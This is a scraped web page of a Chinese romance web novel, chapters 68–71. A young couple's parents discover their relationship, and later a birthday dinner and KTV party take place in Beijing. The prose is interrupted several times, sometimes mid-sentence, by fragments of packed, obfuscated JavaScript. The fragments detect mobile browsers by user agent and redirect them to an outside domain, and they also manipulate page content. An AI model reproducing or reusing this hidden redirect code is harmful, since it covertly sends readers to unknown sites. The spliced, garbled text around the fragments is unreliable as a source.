0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404237|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>总算是松口了。 辛苗抬手擦了擦额头上的汗珠,只觉得不作死就不会死这句话是永恒的真理,应该写进教科书。她红着一张脸——刚跑着追他那几步热的,结果仰头一看,陈青禾还是那副云淡风轻的神仙样儿,不急不喘,甚至连一点儿汗都没有。辛苗愤愤咬牙,顿觉不平衡起来,只觉得凭什么就她一个人这么狼狈?他长得好看聪明也就算了,连汗都不流算什么? 辛苗站定,看着他笔直挺拔的背影,杏仁圆眼轱辘一转,脚底忽地生起了一股风。她撒丫子冲上前,距离他半步的时候小腿蓄力起跳,整个人不由分说地攀住他的背,两只胳膊绕过他的脖颈,锁得死死的。 陈青禾被她的突然袭击搞得措手不及,她成了心的折腾他,说什么都不撒手,陈青禾被她带的整个人向后仰着,腰像一支蓄满了力的弓。 “辛苗,松手。”陈青禾在她胳膊上拍了拍。 “不松。”辛苗不仅不松,手臂力气还更大了几分,将他整个人又往下拽了几分。 这个姿势着实不好受,陈青禾额角跳了跳,他顿了几秒,脚底在地面上调转了个方向,霎时从背对着她变成了面向。辛苗原本锁住他喉部的手因为姿势的变动,成了挂在他后脖颈上。陈青禾被她带得向前俯身,两张脸无限贴近,近到连彼此炙热的呼吸都交织在了一起。 如此距离,视线无可避免的撞上。 原本锁喉的恶作剧转换成了如此暧昧的场景。 陈青禾眉梢一挑:“你想这样?” 辛苗原本想撒手,被他一问,顿时觉得自己又落了下风,松也不是,不松也不是。她不想服输,却又对上他近在咫尺清晰的眉眼,他漆黑的瞳仁里隐隐藏着几分笑意,像是调侃。 这一个瞬间,辛苗觉得好似有一簇火苗从她心底点燃,她原本就红的脸又烫了许多,连耳根都是烧的,这种感觉让她整个人都有些慌乱,偏又看见他在笑…… 霎那间,辛苗怒从心头起,恶向胆边生,她双臂用力,将他整个人又往下拽了几分,脚尖踮起,龇牙狠狠地在他英俊的侧脸上啃了一大口! 陈青禾黑而沉的双眸因为吃惊蓦然睁大了一瞬。 脸颊边传来一股痛感,倒是不重。 他仅是眉头轻蹙了一下,便垂下眼,嘴角噙着不明显的笑意,任由她为所欲为。 五秒钟不到,辛苗松开了胳膊……和嘴。 陈青禾也终于得以站直了身体。 他垂眸看她。 辛苗站在对面,笑得像只偷了腥的猫。她抬手指着陈青禾被她摧残过的脸颊,乐呵呵道:“哎呀,怎么办,有印了……” 话音刚落,她视线忽然一凝,看向前面不远处,原本扬起的唇角赫然僵住,整个人一副活见鬼的表情。 陈青禾回过头,只见身后,筒子楼大门的另一侧,辛建强和赵锦华站在路灯边上的阴影里头,手上还提着超市的购物袋。两人跟被定在原地似的,僵着身子木着脸,一动不动地看过来。 辛苗两腿发软,脚底下却跟黏在地上似的,动弹不得。良久,她硬着头皮,嘴皮子打着哆嗦:“爸妈,你们怎么在这儿。” “回家。”赵锦华说,声音听不出喜怒。 “啊对对对,回家,我跟你妈刚从店里回来,还绕去超市买了些菜,这不刚走到院子门口就碰见了……你俩。”辛建强诡异的挺多了一下,赶忙继续补充道:“那,你俩也别站路中间,咱…咱先回?有什么话回去说。” “嗯,往回走。”赵锦华冲着他俩说,收回视线,率先走了回去。辛建强拎着菜紧随其后。 辛苗没动,她抬手拽住陈青禾,木然道:“你说,我爸妈是不是看见了?” 陈青禾抿唇:“不清楚。” 辛苗两眼一黑:“完了完了完了……怕什么来什么,邪了门了!希望没看见,老天保佑老天保佑!”她急的在原地团团转,转完,发现旁边的另一位当事人一副无比冷静的样子,忙问:“你怎么不慌?你已经想好说辞了吗?” 陈青禾看她一眼,笑了。 他脸往过侧了侧,将刚刚被她啃过的脸颊向着她,末了,掀开唇,一副置身事外的淡然:“能说什么?有印了。” 辛苗:“……………” 69. 第 69 章 辛苗夹着尾巴进了家门。 陈青禾跟在她身后。往门里迈步的那一刹那,却被她挡住了去路。辛苗回过头一通挤眉弄眼,疯狂用眼色示意他别进来先回他自己家。陈青禾停下脚步,好整以暇的看着,不知道有没有懂她的暗示,反正他没走,也没动。 辛苗心累,正准备小声跟他说,然后就听到里面赵锦华的声音传了来。 “你俩站门口干什么?进来……青禾也进来。” 辛苗肩膀一塌,气鼓鼓的瞪了他一眼,进去了。 陈青禾紧随其后,甚至还不忘了关上门。 偌大的客厅里,灯光明亮。辛建强跟赵锦华坐在中间的长沙发上,超市的购物袋甚至都没来得及拿进厨房,就被这样顺手放在了茶几上。两侧小沙发上,辛苗和陈青禾各坐一端。这架势,颇有种三堂会审的感觉。 辛苗咽了咽口水,决定先发制人:“爸,妈,那个,不管你们刚看到了什么,都是误会,我都可以解释。” 赵锦华没说话,看了看陈青禾。少年沉默坐在沙发上,那张俊逸淡漠的脸上,牙印分外惹眼,叫人想注意不到都难。 反倒是辛建强问:“苗苗,青禾脸上的牙印是怎么回事?” 辛苗:“……” 如果时间能够回到五分钟前,辛苗哪怕去啃路边墙上的砖头,都不会去啃陈青禾的脸。 辛苗搓搓手:“爸,我俩就是开个玩笑……是吧陈青禾?” 陈青禾抬眸看她一眼,曲起食指有意无意的在脸颊边蹭了一下,随即微垂着眉眼,淡淡应了声:“嗯,是。” 辛苗赶紧接话:“看吧,我没骗你!” 辛建强:“……” 空气一时间静默下来,辛建强有心想帮女儿,奈何她给的理由实在是不走心……他瞥了眼旁边的媳妇儿,看她脸色沉着,一副就要爆发的前兆,赶忙呵呵一笑,半真半假的呵斥:“那爸就要说说你了,你俩一起长大没有错,但是毕竟不是小孩了,大学生了都,行为举止该有的分寸还是要有……有什么话好好说,你咬青禾做什么呢?” 辛苗眼皮抽搐了一下。 这个问题她真的没法回答。 半晌,刚准备继续开口糊弄过去,却听赵锦华突然开口问了一句:“你俩谈了?” 不愧是她亲妈,老辛家实际意义的一家之主,一开口直中要害……辛苗心脏顿时漏跳了一拍。刚准备说话,却被赵锦华截停:“辛苗你闭嘴,让青禾说。” 辛苗:“……” 陈青禾显然也有些意外,诧异的抬眼。不过很快他就反应过来,整个人坐得更直,双手放在腿上,墨色的眼睛定在辛苗脸上,似是在无声征求她的意见。 辛苗……没意见。已经到了这个份儿上,再瞒就没有意义了。况且,她跟陈青禾是正经谈恋爱……她妈应该不会揍人吧? 辛苗心一横,朝他眨了眨眼。 陈青禾唇角极浅的勾了下。 他看向赵锦华,目光直白而坦诚,不避不闪躲,稍一颔首,语气真诚且尊敬道:“赵姨,辛叔,我跟苗苗确实是在交往。” 他说完,辛苗屏住呼吸胆战心惊地看着她妈。 却见赵锦华捋了捋头发,脸色温和了不少。 “这样啊……我就说,她没分寸,你不至于也跟着胡闹,原来是谈了,这就难怪。” 辛苗:“???” 这是什么反应? 亲妈一点没生气? 事实证明,赵锦华不仅没生气,还无比自如的进入了角色:“青禾,辛苗调皮,你多担待着点。” 陈青禾点了点头,郑重道:“我会的,赵姨。” 赵锦华对他这副态度很满意。她又从头到脚将陈青禾打量了好几个来回,越看越满意,嘴角差点压不住笑。她清了清嗓子,道:“行,青禾,那你先回吧,我跟苗苗再说几句。” “好的。”陈青禾依言站起身。 赵姨并没有生气,他也放心下来。 然后又听赵锦华叮嘱:“脸上的伤记得看看有没有破皮,破了的话最好用酒精消毒一下……辛苗这孩子,又不是属狗的。” 陈青禾:“……” 一旁的辛苗:“……” 陈青禾眸底多了些笑意。他视线从对面辛苗的脸上掠过……她不满的撅起了唇,一副敢怒不敢言的样子……陈青禾眼底的笑又深了几分。他替她开脱了两句:“没事的,苗苗没怎么用力……赵姨,辛叔,那我先回去了。” “诶好。” “青禾那你过啊。” …… 门来了有关,咔嗒一声,屋里只剩下老辛家三口人。 辛苗刚想说话,却在一次被她妈抢了先。 如果说刚才碍于陈青禾还在,赵锦华有所顾忌,还没表现的太直白,现下他刚一走,她妈就再也克制不住脸上的笑了,直接来了个一百八十度大变脸。 赵锦华:“你俩什么时候在一起的?哎呦你这孩子也不提前说,在马路中间像什么样子……我跟你爸碰见的时候吓了一跳,半天都没敢认,真是的!” 辛苗疑惑:“妈你不生气?” 赵锦华反问:“我生什么气?” 辛苗说:“我早恋啊。” 赵锦华直接乐了:“20岁了还早啊?我跟你爸那会儿,22都有你了……你谈男朋友那是迟早的事,就是没想到会跟青禾,我跟你方蕊阿姨之前还聊过,说要是你俩能成就最好不过了,两家人看着长大,知根知底,多好。没想到真成了!” 辛苗:“那我怎么没听你说过?” 赵锦华:“这要怎么跟你说?感情的事,又不是家长说了就能算的。” 辛苗没再说什么,狠狠舒了一口气。 转念又觉得自己之前操心这个操心那个是真多余。 她妈在这件事上的态度比她预想的要开明一万倍,开明的都有些发邪了。反倒是她爸,一脸不怎么高兴的样子。 辛建强原本还算正常的脸色在看到自己女儿媳妇都被隔壁家臭小子轻而易举的收拢了之后,顿时就黑了下来。他语气酸溜溜地说:“这个青禾啊,平常看起来默不作声的,怎么偷着摸着就把我闺女骗到手了……兔子还不吃窝边草呢。” 赵锦华白他一眼:“你不是平常总夸青禾聪明懂事孝顺,怎么真成你女婿了,你反而不高兴了,还说人家偷着摸着?” 辛建强憋着气:“侄子跟女婿,那能是一回事吗?” 辛苗:“妈,爸……” 赵锦华:“别理你爸,他吃醋。” 辛苗一脸麻木:“打住!我俩才刚谈,你们别女婿女婿的叫么?” 赵锦华还是那四个字:“迟早的事。” 辛建强:“怎么就迟早的事?以后的事那可说不准。” 赵锦华冷笑:“行,以后你女儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422903|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带回来一个咱俩都没见过也不了解的,你就满意了?” 辛建强一噎:“那话也不能这么说……” 辛苗眼看着她爸妈自己开始掐架了,她坐在一边,反倒成了局外人。辛苗想不通,事情为什么会是这个发展趋势,有种重重拿起,轻轻放下的荒诞感,总之,神一般的展开。 辛苗尝试了好几回想要制止他们拌嘴,奈何根本插不进去话,她无语的耸耸肩,决定溜回自己房间洗个澡去。 拿换洗衣服的时候,她将手机从兜里掏出来放桌上,屏幕按亮,有一则微信消息,点开,是陈青禾发来的。 陈青禾:【没被说吧?】 辛苗回了句:【没,他俩自己吵起来了。无语jpg.】 消息发出,她也没多想,东西一拿去了浴室。 等四十分钟后,她吹干头发换上睡衣再出去的时候,发现方蕊正坐在她家客厅里跟赵锦华一起聊着什么,而辛建强已经被挤到一旁的单人小沙发上去了。 “方蕊阿姨好。”辛苗主动打了声招呼。 大家这才发现她出来了,聊天中断,方蕊笑意盈盈的朝她招了招手:“来,苗苗过来。” 辛苗走到近前,方蕊拉住她一只手:“刚洗完澡?” 辛苗点点头,有些赧然:“嗯。” 茶几上放了个大果盘,里面盛着切好了的西瓜哈密瓜,和一串葡萄。方蕊拿起牙签扎了块西瓜递给她:“吃点水果补充一下水分。” 辛苗接过:“好的,谢谢阿姨。” 方蕊朝她眨眨眼:“别见外……青禾切的。” 辛苗脸唰一下就红了个透。 …… 之后一个月,辛苗几乎每天一有空就钻回自己房间,能不出门绝不出门。没办法,实在太尴尬,两家大人一见到她,不出三句话就得提起陈青禾……尤其是两位妈妈,原本就好的关系这下更是不得了,用辛建强的话说,已经提前带入了“亲家”的角色。 辛苗很苦恼,跟陈青禾吐槽过这个问题,得到的建议是,别理会,做自己。但奈何辛苗没有他那么不被外物所扰的强大心脏,只能躲着,连跟陈青禾单独见面的次数都断崖式下降了。直到某一次,辛苗在赵锦华饭店帮完忙,一出门,遇到了站在一旁守株待兔的陈青禾。看见她的那一瞬间,他直接上前攥住她的手腕,将人拉到了旁边的一条小巷子里。 小巷子是条断头路,尽头只有一户自建房,门锁着,约莫是没人住。陈青禾桎梏着她的手腕将她按在墙根的阴影里,微微俯身,额头抵着她的,低声问:“为什么躲着我?” 辛苗嘴硬,不肯承认,眼神飘忽着说:“没躲。” 陈青禾气笑了,点点头,也不再跟她多话,直接整个人覆了上来,含住她的唇,舌尖抵开牙关,不由分说地长驱直入。 这么多回下来,他早已经不复最初的生涩,熟稔的不能更熟稔。他清楚知道怎么调动她的热情,知道她最受不了她怎么做,他连她每一次呼吸换气的时间都掌握的清清楚楚的,从而调动着、控制着、诱导着。 每次吻完,辛苗大脑都是混沌的。 她眼里起了雾,茫茫然的看着陈青禾,整个人靠在他怀里轻轻喘息着。 陈青禾抬手,拇指拭去了她唇角的水泽,末了,低笑一声:“当初真该听你的……” 瞒住了,暂时不被承认,也总比现在动不动连人都见不到的好。 70. 第 70 章 余下的暑假时光,辛苗起先过得异常别扭,等她终于想通了、看开了、适应了,暑假也到头了。 8月28日,辛苗和陈青禾返校。 一如既往的,两家人一起将他俩送到高铁站。进站前几分钟,赵锦华避过其他人,将辛苗单独拉到一旁。 她一改往日果断直爽的作风,犹犹豫豫了好一会儿,才压着声说:“苗苗,妈叮嘱你个事,你一定要记住啊。” 辛苗好奇:“什么?” 赵锦华说:“你跟青禾,你俩现在不是谈恋爱了么,就好好谈,但该注意的还得注意,你懂我的意思吧?” 辛苗睁着一双清澈的大眼睛摇摇头:“没太懂。” “……”赵锦华噎住,沉默半晌,最后一咬牙道:“年轻人,不要冲动上头,那什么一定要做好措施,你是女孩儿,千万保护好自己,不论对方是谁!” 辛苗:“…………” 赵锦华:“这下懂了没?” 辛苗沉默着,一路从脖颈红到了耳根,整个人顶上都开始冒热气。她嘴皮掀开想解释,但又不知道该从何解释——她妈开明的有些过于超前了! “你俩说什么呢?快到点儿了,赶紧让孩子进站!”辛建强站在进站口催促着。他一出声,旁边的方蕊和陈青禾都扭头望过瞧。 辛苗隔空撞上陈青禾的视线,整个人轰一下,差点没烧着。 “妈你别说啦!”辛苗收回视线,羞恼道:“我不跟你说了,该进站了!” “哎你这孩子……”赵锦华还想再叮嘱两句,辛苗却已经急匆匆地跑远了,她只能叹了口气,跟着一并过去。 这个点儿距离发车时间挺近的了,辛苗一过去,就跟陈青禾安检进站,然后上站台乘车。等坐定到座位上的时候,辛苗滚烫滚烫的脸颊才稍稍好上一些。她轻轻舒了口气,然后下一秒,就听见陈青禾坐在旁边问:“刚赵姨跟你说什么了,你脸怎么那么红?” “红吗?”辛苗抬手捂住两颊,目光闪躲,欲盖弥彰道:“没、没说什么,就让到学校了说一声,哈哈。” 陈青禾侧头定定看着她,好一会儿,轻应了声,没拆穿她。 他怕再追问下去,辛苗就在车厢里自燃了。 …… 一路顺利。 到北京之后,陈青禾先将辛苗送到宿舍楼下,两人分别,各自又开始了新的一学期。 升至大二,公共课的科目少了好几门,排课一下子松了好多,相对的,空余时间也比大一多了些。辛苗课业压力较小,每天除了按部就班的上课,就是跟舍友去觅食,到了周末再和陈青禾出去约会,日子过得倒也松快。 陈青禾就没她那么闲适了。金钟的导师、也是陈青禾大一的一门专业课老师很欣赏他,经这位导师引荐,陈青禾加入了另外一个与他专业更贴合的张教授的项目组。组里全是硕博,只有他一个大二本科生,这在他们系引起了不少闲言碎语。直到上年度奖学金评定下来,陈青禾以专业第一的绝对优势毫无意外的拿下了国奖,这才平息了一部分声音。至于其他的,他并没过多理会,选择用事实说话。 于是除了上课和见辛苗,他大多数时候都泡在了项目组,起先,那几个硕博师兄师姐还不怎么放心他,即使让他负责某一部分工作,也是诸多担心,频频询问。但一两次之后,这种情况就再也没出现过了。陈青禾总能按期完成自己承担的那一部分工作,且数据正确,前后步骤完美,毫无瑕疵。 张教授对此很满意,总是明里暗里的夸,师兄师姐们也服气,毕竟谁会不喜欢能帮自己分担工作的人?一来二去的,质疑的声音也没了,全变成了钦佩和叹服。陈青禾知道外界声音的转变,却并没过多关注,依旧专注在自己的事情上。在这种充实且忙碌的日复一日中,十一月,辛苗的二十岁生日就要到了。 陈青禾并不算是一个懂浪漫的人,但只要肯上心,这种事情并不难学。 他学期初的奖学金发下来了,给方蕊汇了一大部分,其余的给辛苗转过去当零花,但又被她退了回来,索性自己留着。加上每个月的生活费和在项目组的经费补贴,林林总总,加起来也有六七千。他自己的物欲和口腹之欲都不怎么高,除了生活必需,很少有别的支出——这是在还完账之后的那几年拮据生活里养成的——总而言之,他想用这笔钱,给辛苗买一个像样的礼物。 斟酌再三、挑挑拣拣,日子一下子又过去了好几天。 辛苗生日刚好是个周六,陈青禾提前一周就问了她想怎么过。辛苗不是仪式感特别强的那类人,稍微想了想,就说跟舍友们一起吃个饭就可以,只是到时候他来的话,肯定会和她们遇见,让他提前做好心理准备。 陈青禾说可以。 于是生日的事就这么定了。 当天,辛苗和三个舍友商量之后,去了学校附近一家老北京涮肉店。这家店在她们学校学生里头口碑很好,人气也高,辛苗到的时候甚至还等了十五分钟,才等到一间小包厢空出来。 来之前,三个舍友合买了一束花和生日蛋糕,是很漂亮的粉玫瑰,辛苗收到的时候脸红红的,连着说了好几声谢谢。 四人坐定没多久,陈青禾发信息说他到了。 辛苗走不开,把包厢号告诉了他,三两分钟后,陈青禾带着一身寒气走了进来。 十一月底的北京又冷了下来,他穿了一件纯黑色的加绒冲锋衣,牛仔裤,白色板鞋,整个又高又瘦,更遑论,他左手捧着一束花,开得正灿烂的向日葵,一共九朵,用牛皮纸包着。右手则拎了一个包装严实的生日蛋糕。他推开包厢门进来的那一瞬间,顶上的灯都仿佛黯淡了些。 辛苗和她的三个舍友不约而同停止了交谈,楞楞地看着突然闯入的他。 陈青禾将蛋糕和花束放到角落的餐台上,看见那边已经有了另外一束粉玫瑰,他眉梢轻挑了下,似乎没想到她舍友会送这样的花。 放好,他折回身,指着辛苗身旁的座位,微俯下身问她:“我坐这儿?” “啊?哦对,你坐这儿。”辛苗回神,不好意思地挠了挠脖子,对着几个舍友介绍道:“那什么,这是我男朋友,陈青禾。” “你们好。”陈青禾说,他脸上不复往日拒人于千里之外的冷淡,从进门的那一瞬间,就一直是挂着浅淡的笑着。 李欣悦最先反应过来,两手一拍:“我说过苗苗男朋友特帅,怎么样,没半点夸张吧!” 王黎摆手:“没没没,你这属于陈述事实。” 孙瑾没说话,直接比了一个大拇指。 末了他问:“陈…青禾是吧,你们学校还有你这一挂的么?或者比你帅也行,介绍介绍?” 陈青禾说:“好,我帮你留意。” 哄堂大笑。 气氛彻底热络起来。 没多久,服务员端上了锅底和肉,几人围着桌子边涮边吃。辛苗起先还有些担心陈青禾融不进来,不过事实证明她多想了,只要他愿意,就能轻易融入任何场合。 一顿饭吃得宾主尽欢,饭后,陈青禾结了账,问她们还有没有别的打算。几个舍友一看时间还早,才八点多,意犹未尽,决定去近处一家ktv开开嗓。于是一行人又去了ktv开了三个小时的中包,店家看她们拎着蛋糕,还特会做生意的免费送了一打啤酒。 门一关,包厢彻底暗了下来,只有顶上的彩色球亮着,转出五颜六色的碎光。 李欣悦和王黎合唱了首凤凰传奇的歌热场,孙瑾抱着点歌台挨个往下翻着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孙瑾:“切,没意思……辛苗你问吧。” 辛苗还真不知道问什么,陈青禾的所有事她都知道,还真没什么要问的,想来想去,最后憋出来一句:“你为什么送我向日葵?” 立马,李欣悦哀嚎一声:“什么嘛!就说不能让辛苗问,听听这是什么问题!” 孙瑾也说:“辛苗,你就这么光明正大的放水啊?” 王黎:“行了,问都问了,听人怎么说呗。” 陈青禾笑了笑,看向辛苗,目光深沉专注:“也没什么,就是觉得……很适合你。” 辛苗是独属于他的太阳,所以他想送她向日葵。 不过这些话以他的性格无法当众说出口,只能简单带过。 果不其然,这个答案一出来,其他三个人翻白眼的翻白眼,喝倒彩的喝倒彩。李欣悦一撸袖子,恶狠狠道:“我还不信了,你俩臭情侣给我等着,来!” 第二盘,转到辛苗,她选真心话。 李欣悦问她最讨厌陈青禾哪一点。 辛苗想了很久,诚实地说没有,在她眼里,他一直都是最好的。 其他三人猝不及防被塞了一把狗粮。 第七盘,又转到陈青禾,他选真心话,结果被李欣悦强行制止,要求他只能大冒险。 陈青禾说可以,李欣悦让她和辛苗接吻十分钟。 陈青禾失笑,没应,主动喝了一瓶酒。 第十盘,还是陈青禾。 大概是看出来他内敛且保守,王黎大发慈悲的准他选了真心话,问得问题也很简单。 “你什么时候喜欢上辛苗的?” 陈青禾却沉默下来。 他喝了酒,虽然并不多,但思维却有着滞涩。 这个问题他考虑了好久,久到辛苗呼吸都屏住。 她也很好奇这个问题,之前问过,但他从没有给过一个确切的答案。 “不知道。”陈青禾说,他声音很低很缓,又有些轻微沙哑,像是在砂纸上打磨了一般,“从我有情感需求的时候,我的眼里就只有她。” 71. 第 71 章 真心话大冒险的游戏在气氛组舍友的一片欢呼中圆满落下帷幕。此时她们开的包厢时间也快到了,众人抓住最后的十分钟唱了生日歌,点了蜡烛。 辛苗在众人的祝福中闭上眼睛许了愿。蜡烛吹灭,陈青禾将她们宿舍买的蛋糕切开分给每个人,另外一个原封不动的让她们带回宿舍,明天消灭掉。 吃蛋糕的时候,他低头问她许了什么愿,辛苗不说,怕说出来不灵了。陈青禾便也没再深问,只问她:“里面有我吗?” 辛苗红着脸小声说:“有。” 陈青禾笑了。 周遭一片暗色,影影绰绰,女生们边吃蛋糕边闹着,他站在角落,如墨般的眼底只映着她的影子。 …… 十一点钟,聚会结束。 宿舍11点半关门,她们赶在20之前到了楼下,陈青禾将拿了一路的蛋糕和两束鲜花递给辛苗。 “那,我们先回去了。” “等一下。”陈青禾说,“我还有东西要给你。” 听见这话,李欣悦反应最快,她从辛苗手里一把夺过蛋糕自己拎着,王黎和孙瑾也紧随其后,一人抱过来一束花,半是揶揄地笑着打了声招呼,就先跑回了宿舍楼,给他俩留下今晚少有的独处时间。 这个点儿有些晚了,宿舍楼下几乎没什么人,陈青禾牵住辛苗的手,将她带着走到了花坛边上。 “要给我什么?”辛苗问,她忽闪着眼,一副好奇的模样。 陈青禾从侧兜里掏出一个素白色的盒子,大约是装首饰的,巴掌大小,上面干干净净,没有什么多余的logo。 陈青禾将盒子递给她。 辛苗期待地问:“我可以现在就打开吗?” 陈青禾轻应了声:“嗯。” 辛苗接过,抿紧了唇,小心翼翼地打开了盒子。 只见里头,黑色的绒面内里上静静躺着一颗小巧的平安锁吊坠,锁身用细细的线条刻出了祥云的图案,链子则是奶咖色的编织挂绳,上面零星串着几颗半透明的淡色珠子,整体上万分精致。 辛苗指尖捻起平安锁在眼前晃了晃,有点金属特有的那种沉甸甸的分量,她瞳孔微缩,一副难以置信的口吻:“金…金的?” 陈青禾却说:“不是。好看吗?” “好看。”辛苗毫不犹豫道,但手上却将平安锁放了回去:“你别骗我,我还是认识金子的……别以为你拿个没logo的盒子装着我就不识货了。” 陈青禾无奈轻笑,他确实是怕她不肯收,所以去精品店专程买了个盒子来装,没想到还是被她一眼识破……平时看起来傻乎乎的,某些时候却特别聪明,且执拗。 “我帮你带上。”陈青禾试图转移她的注意力。 辛苗却直接拒绝:“不要,这太贵了,能退吗?” 陈青禾说:“不能。” 辛苗不信:“你又骗我。” 陈青禾说:“没骗你,发票和收据我已经扔了。” “你怎么这样?”辛苗瞪他:“你哪来的钱?咱们两家又不是多有钱的人。”甚至他身上的衣服是去年的,裤子鞋子也是去年的,虽然好看,但实打实都是旧的。他物欲很低,衣服干净得体就行,实在没合适的了才会买上一两件。他知晓方蕊的不容易,所以从不乱花。 但就是这么一个人,给她了一份如此的生日礼物。 至少,对于现在的他们来说,很贵重。 陈青禾捏了捏她的脸颊,语气轻柔:“我有奖学金,还有项目津贴,足够了……而且它没你想象的那么贵,收下好吗?” 辛苗还是犹豫:“可是……” “别可是了。一生只有一次的二十岁,能力范围之内,我想给你最好的……帮你带,嗯?” 辛苗终于不再抵触,点了点头:“好。” 项链戴上脖子的那一瞬间,她撅着嘴,特别小声的说句“你就是最好的”。 陈青禾指尖轻颤了下,捏住她的下巴,吻了上去。 - 辛苗回到宿舍是十分钟之后的事了。 她一进门,眼眶红着,鼻尖红着,嘴唇也比刚才红了许多,还有点肿……明眼人一看就知道怎么回事。 王黎洗澡去了,宿舍里只有李欣悦和孙瑾。她俩看见辛苗就开始笑,笑够了,李欣悦问:“我还以为你今天不回来了。” 辛苗没反应过来,“那我去哪儿?” 李欣悦没说话,色色一笑。 倒是孙瑾问了句:“你男朋友走了?可是这个点等他回去应该了进不了学校门了吧?” 辛苗愣住,身上的外套脱了一半,挂在手肘的位置,不上不下。片刻,懊恼的蹙起了眉,牙齿咬住了下唇——她是真的蠢,怎么就没想到这个问题呢?! 孙瑾诧异:“他也没跟你提?” 辛苗摇了摇头。 孙瑾说:“呃……那好吧,可能他有去处也不说不定。” 辛苗没再答话,愧疚席卷了她整个心头。 她顿了几秒钟,眼神一变,当下不再犹豫,将脱了一半的外套重新穿好,拉开衣柜,随手抓了贴身的衣物塞进包里,拧身就往外走。 到门口的时候,她停住,转过头,红着脸赧然道:“那个,我,我去……” “知道知道,快追去吧,其他的有我们呢。”李欣悦和孙瑾笑着朝她挤挤眼。 辛苗感激一笑,最后一丝犹豫也没有了,急匆匆地朝着楼下跑去。夜深人静,漆黑的楼梯间因为她的脚步声亮起一盏盏灯。她喘着粗气狂奔到一楼,刚转过楼梯间,却生生停了下来。 宿管阿姨正拿着一把U型锁横插在大门上,锁芯的钥匙转动,咔嗒一声响,死死锁住了她的前路。 辛苗心凉了一截,好不容易鼓起的勇气在对上宿管阿姨探究的视线时,漏了个精光。 阿姨提着一大串钥匙叮叮玲玲的走过来问:“同学,锁楼了,你要往哪去?” 辛苗嗫嚅着嘴唇,半天没能编出一个理由。 她有种私奔到一半被人抓包的心虚感。 阿姨一看她这副样子,就知道肯定不是什么正当理由,顿时摇了摇头,用恨铁不成钢的眼神将她上上下下扫了好几个来回,最后手一抬,说:“行了,出不去了,回吧。” 辛苗:“……哦。” 她埋着头,从嗓 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陈青禾呼吸一滞,很快又恢复如常……辛苗总是能用最直白纯真的话轻而易举的敲中他心脏上最柔软的地方,一直都是如此……他垂眸,握着电话的手指紧了紧,喉结几番活动,最终缓缓吐出滚烫的气息,开口时,嗓音低到发沉:“嗯,我记住了。” 辛苗没有发觉他的端倪,还自顾自的纠结着上一个话题。 “那你去住酒店。” “不了,睡不习惯。”陈青禾拒绝道,末了,觉得她周围隐隐有回音,不像是在宿舍,微皱起眉问:“你在哪呢?” 辛苗说:“楼梯间,我怕吵到舍友。” 陈青禾看了眼时间,将近十二点钟,她宿舍楼的灯也快熄了,她那么小的胆子,怎么敢一个人坐到黑漆漆的楼梯间里。 他耐着性子劝她:“辛苗,不用担心我,你快回宿舍吧,快熄灯了。” “真不去酒店睡?”辛苗还想做最后的挣扎。 “不去,你快回,听话。” “那好吧。”辛苗只得妥协:“那你到了给我说一声。” 陈青禾说:“好。” 辛苗这才起身,乖乖回了宿舍。 闹腾了大半天,她简单洗漱完便躺上了床,刚一沾到枕头就困得打了好几个哈欠。舍友们都睡了,她蹑手蹑脚的钻进被窝,但死活不睡,非撑着眼皮,等着陈青禾的消息。 直到夜里十二点半,手机屏幕在乌沉沉的房间里骤然亮起。 辛苗揉揉眼睛,拿着手机缩进了被窝。 屏幕上显示是陈青禾发了微信过来,一共三条。 先是定位,显示他在学校附近的24小时书店。 然后是一张照片,木制圆桌上放着一杯橙汁和书。大概他觉得干坐着不好意思,特地点了杯饮品。 最后,是他发过来的文字信息。 【二十岁的第一天。】 【好梦。】 【晚安。】 辛苗合上眼睛,陷入香甜的梦乡。